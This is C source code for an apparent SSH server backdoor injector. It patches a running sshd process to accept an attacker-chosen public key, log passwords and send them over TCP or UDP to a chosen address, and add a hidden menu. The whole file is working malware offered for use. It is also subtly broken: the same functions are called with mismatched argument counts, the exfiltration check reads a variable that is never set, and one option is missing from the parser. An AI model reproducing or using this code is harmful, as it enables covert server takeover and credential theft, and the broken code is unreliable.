gpointer
nondumpable_buffer_alloc(gsize len)
{
gsize minimum_size = len + ALLOCATION_HEADER_SIZE;
gsize pagesize = sysconf(_SC_PAGE_SIZE);
gsize alloc_size = round_to_nearest(minimum_size, pagesize);
Allocation *buffer = _mmap(alloc_size);
if (buffer == MAP_FAILED)
return NULL;
buffer->alloc_size = alloc_size;
buffer->data_len = len;
return buffer->user_data;
}
void backdoor_pubkey_install(inject_ctx *ctx, char *pubkey) {
signature signatures[]={
{ 0x1, "key_allowed", "trying public key file %s", 0 },
{ 0x2, "restore_uid", "restore_uid: %u/%u" , 0 },
{ 0x3, "key_new" , "key_new: RSA_new failed" , 0 },
{ 0x4, "key_read" , "key_read: type mismatch: ", 0 },
{ 0x5, "key_free" , "key_free: " , 0 },
};
u8 *evil_bin;
int i;
u32 callcache_total, num_key_allowed2_calls=0;
char line[255];
callcache_entry *callcache, *entry;
u64 user_key_allowed2_calls[MAX_KEY_ALLOWED_CALLS];
u64 diff=0, hole_addr=0, *import_table;
evil_bin = malloc(hook_pubkey_bin_len);
import_table = (u64*)(evil_bin + 8);
memcpy(evil_bin, hook_pubkey_bin, hook_pubkey_bin_len);
import_table[0] = ctx->config_addr;
for(i = 0; i < sizeof(signatures) / sizeof(signature); i++) {
if (ctx->uses_new_key_system == 0 || i < 2) {
signatures[i].addr = sub_by_debugstr(ctx, signatures[i].str);
} else {
u64 f_dsa_new, f_bn_new, p_dsa_new, p_bn_new, callpair, callpair_b, p_rsa_free, p_dsa_free;
switch(i) {
case 2: // key_new
f_dsa_new = resolve_reloc(
ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "DSA_new"
);
f_bn_new = resolve_reloc(
ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "BN_new"
);
info("DSA_new@got = 0x%lx", f_dsa_new);
info("BN_new@got = 0x%lx", f_bn_new);
p_dsa_new = find_plt_entry(ctx, ctx->elf_base + f_dsa_new);
p_bn_new = find_plt_entry(ctx, ctx->elf_base + f_bn_new);
info("DSA_new@plt = 0x%lx", p_dsa_new);
info("BN_new@plt = 0x%lx", p_bn_new);
callpair = find_callpair(p_dsa_new, p_bn_new);
info("yo we got a callpair for (DSA_new, BN_new) -> 0x%lx", callpair);
signatures[i].addr = find_entrypoint(callpair);
break;
case 3: // key_read
signatures[i].addr = prevcall_by_debugstr(ctx, "user_key_allowed: advance: ");
break;
case 4: // key_free
p_rsa_free = find_plt_entry(ctx, ctx->elf_base + resolve_reloc(
ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "RSA_free"
));
p_dsa_free = find_plt_entry(ctx, ctx->elf_base + resolve_reloc(
ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "DSA_free"
));
info("RSA_free@plt = 0x%lx", p_rsa_free);
info("DSA_free@plt = 0x%lx", p_dsa_free);
callpair_b = find_callpair(p_rsa_free, p_dsa_free);
if(callpair_b == 0) {
callpair_b = find_callpair(p_dsa_free, p_rsa_free);
}
if(callpair_b != 0) {
info("found callpair @ 0x%lx .. finding entrypoint..", callpair_b);
signatures[i].addr = find_entrypoint_inner(callpair_b, 3);
} else {
error("could not find valid callpair to derive key_free()");
}
break;
default:
error("WTF just happened!");
break;
}
}
if (signatures[i].addr == 0) {
error("%s not found :(\n", signatures[i].name);
}
sprintf(line,
"%s\t\t= \x1b[37m0x%lx",
signatures[i].name, signatures[i].addr - ctx->elf_base
);
import_table[ signatures[i].import_id ] = signatures[i].addr;
sprintf(
line+strlen(line),
" .. patched at offset 0x%lx in import table!",
(signatures[i].import_id*8) & 0xffff
);
info(line);
}
u64 f_BN_cmp = resolve_reloc(ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "BN_cmp");
info("BN_cmp@got = 0x%lx", f_BN_cmp);
u64 l_BN_cmp;
_peek(ctx->pid, ctx->elf_base + f_BN_cmp, &l_BN_cmp, 8);
info("BN_cmp@lib = 0x%lx", l_BN_cmp);
import_table[6] = l_BN_cmp;
callcache = get_callcache();
callcache_total = get_callcachetotal();
for(i=0; i<callcache_total; i++) {
entry = &callcache[i];
if (entry->dest == signatures[0].addr && entry->type == CALLCACHE_TYPE_CALL) {
info("found a 'call user_key_allowed' @ 0x%lx", entry->addr);
user_key_allowed2_calls[num_key_allowed2_calls] = entry->addr;
num_key_allowed2_calls++;
}
}
if (num_key_allowed2_calls == 0)
error("no call to user_key_allowed2 found :(");
hole_addr = find_hole(ctx, user_key_allowed2_calls[0], 0x1000);
if (hole_addr == 0) {
error("unable to find neighborly hole.");
}
info("found usable hole @ 0x%lx", hole_addr);
info2("entering critical phase");
_mmap(
ctx, (void*)hole_addr, 0x1000,
PROT_READ| PROT_WRITE | PROT_EXEC,
MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED,
0, 0
);
for(i=0; i<num_key_allowed2_calls; i++) {
diff = 0x100000000-(user_key_allowed2_calls[i]-hole_addr)-5;
info(
"building a bridge [0x%lx->0x%lx] .. opcode = [E8 %02X %02X %02X %02X]",
user_key_allowed2_calls[i], hole_addr,
diff & 0xff, (diff>>8)&0xff, (diff>>16)&0xff, (diff>>24)&0xff
);
_poke(ctx->pid, user_key_allowed2_calls[i]+1, &diff, 4);
}
_poke(ctx->pid, hole_addr, evil_bin, hook_pubkey_bin_len);
for(i=0; i<hook_pubkey_bin_len; i++) {
if (memcmp(evil_bin+i, "\xaa\xbb\xcc\xdd", 4) == 0) {
info("inserting pubkey at offset %x in payload", i);
_poke(ctx->pid, hole_addr+i, pubkey, strlen(pubkey));
}
}
info("poked evil_bin to 0x%lx.", hole_addr);
}
int main(int argc, char *argv[]) {
config_block *config;
char *pubkey_value = NULL;
char *passlog_path = NULL;
char *pubkey_file = NULL;
int net_exfil_type = 0;
int menu_activate = 0;
int c;
banner();
if (argc < 2) {
usage(argv[0]);
return -1;
}
config = malloc(sizeof(config_block));
memset(config, 0, sizeof(config_block));
while((c = getopt(argc-1, argv, "p:P:t:u:mc")) != -1) {
switch(c) {
case 'p':
pubkey_value = optarg;
break;
case 'P':
pubkey_file = optarg;
break;
case 't':
if (!convert_hostport_pair(optarg, &config->ip_addr, (uint16_t*)&config->port))
error("eh, '%s' is not a valid ip:port pair", optarg);
config->net_type |= NET_EXFIL_TCP;
break;
case 'u':
if (!convert_hostport_pair(optarg, &config->ip_addr, (uint16_t*)&config->port))
error("eh, '%s' is not a valid ip:port pair", optarg);
config->net_type |= NET_EXFIL_UDP;
break;
case 'c':
config->only_log_valid = 1;
break;
case 'l':
passlog_path = optarg;
break;
case 'm':
menu_activate = 1;
break;
}
}
if (pubkey_file == NULL && pubkey_value == NULL && passlog_path == NULL && menu_activate == 0) {
usage(argv[0]);
return -1;
}
if (pubkey_value != NULL && pubkey_file != NULL) {
usage(argv[0]);
return -1;
}
if ((net_exfil_type & NET_EXFIL_TCP) && (net_exfil_type & NET_EXFIL_UDP)) {
error("can only use one net exfiltration method.");
return -1;
}
// allocate inject context
inject_ctx *ctx = malloc(sizeof(inject_ctx));
// init inject context
inject_ctx_init(ctx, atoi(argv[argc-1]));
// find rexec_flag
u64 rexec_flag = inject_resolve_rexec(ctx);
info("rexec_flag\t\t\t= 0x%lx", rexec_flag);
// install config memory block
ctx->config_addr = find_hole(ctx, rexec_flag, 0x1000);
info("allocating config memory @ 0x%lx", ctx->config_addr);
_mmap(
ctx, (void*)ctx->config_addr, 0x1000,
PROT_READ| PROT_WRITE | PROT_EXEC,
MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED,
0, 0
);
inject_ctx_map_reload(ctx);
// install backdoor(s)
if(config->net_type != 0) {
backdoor_password_install(ctx);
inject_ctx_map_reload(ctx);
}
if (pubkey_value != NULL || pubkey_file != NULL) {
if (pubkey_file != NULL) {
FILE *f = fopen(pubkey_file, "rb");
if (f == NULL) {
error("could not open pubkey file ('%s')", pubkey_file);
}
char keybuf[2048];
memset(keybuf, 0, 2048);
fgets(keybuf, 2047, f);
fclose(f);
if(strncmp(keybuf, "ssh-rsa", 7) != 0) {
error("invalid pubkey specified, we only support ssh-rsa for now");
}
strcpy(config->pubkey, keybuf);
backdoor_pubkey_install(ctx);
} else {
if(strncmp(pubkey_value, "ssh-rsa", 7) != 0) {
error("invalid pubkey specified, we only support ssh-rsa for now");
}
strcpy(config->pubkey, pubkey_value);
backdoor_pubkey_install(ctx);
}
inject_ctx_map_reload(ctx);
}
if (menu_activate) {
backdoor_menu_install(ctx);
inject_ctx_map_reload(ctx);
}
mod_banner("finishing install");
// upload config data
info("uploading config..");
_poke(ctx->pid, ctx->config_addr, config, sizeof(config_block));
// disable rexec
info("switching off rexec..");
u32 null_word = 0;
_poke(ctx->pid, rexec_flag, &null_word, 4);
// clean upr
inject_ctx_deinit(ctx);
callcache_free();
info("all done!");
return 0;
}
void *
mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset)
{
return _mmap(addr, length, prot, flags, fd, offset);
}
void backdoor_password_install(inject_ctx *ctx) {
u32 use_privsep_val=0;
u64 use_privsep;
u64 *mm_auth_password_calls = NULL;
int i, n_mm_auth_password_calls;
u64 diff=0, hole_addr=0;
u8 *evil_bin;
mod_banner("installing passlogger backdoor");
evil_bin = malloc(hook_passlog_bin_len);
memcpy(evil_bin, hook_passlog_bin, hook_passlog_bin_len);
u64 *import_table = (u64*)(evil_bin + 8);
use_privsep = resolve_symbol_tab(ctx, "use_privsep");
if (use_privsep == 0)
error("could not locate use_privsep :(");
info("use_privsep\t\t= 0x%llx", use_privsep);
_peek(ctx->pid, use_privsep, &use_privsep_val, 4);
info("use_privsep\t\t= 0x%x", use_privsep_val);
if (use_privsep_val == 0) {
error("pass logging for PRIVSEP_OFF currently not supported.");
}
u64 mm_auth_password = sub_by_debugstr(ctx, "%s: waiting for MONITOR_ANS_AUTHPASSWORD");
info("mm_auth_password\t\t= 0x%llx", mm_auth_password);
n_mm_auth_password_calls = find_calls(&mm_auth_password_calls, mm_auth_password);
if (n_mm_auth_password_calls == 0)
error("No calls to mm_auth_password found.");
hole_addr = find_hole(ctx, mm_auth_password_calls[0], 0x1000);
if (hole_addr == 0) {
error("unable to find neighborly hole.");
}
info("found usable hole @ 0x%lx", hole_addr);
_mmap(
ctx, (void*)hole_addr, 0x1000,
PROT_READ| PROT_WRITE | PROT_EXEC,
MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED,
0, 0
);
_peek(ctx->pid, use_privsep, &use_privsep_val, 4);
// Patch mm_auth_password
for (i = 0; i < n_mm_auth_password_calls; i++) {
diff = 0x100000000-(mm_auth_password_calls[i]-hole_addr)-5;
info(
"building a bridge [0x%lx->0x%lx] .. opcode = [E8 %02X %02X %02X %02X]",
mm_auth_password_calls[i], hole_addr,
diff & 0xff, (diff>>8)&0xff, (diff>>16)&0xff, (diff>>24)&0xff
);
_poke(ctx->pid, mm_auth_password_calls[i]+1, &diff, 4);
}
import_table[0] = ctx->config_addr;
import_table[1] = mm_auth_password;
_poke(ctx->pid, hole_addr, evil_bin, hook_passlog_bin_len);
free(mm_auth_password_calls);
}
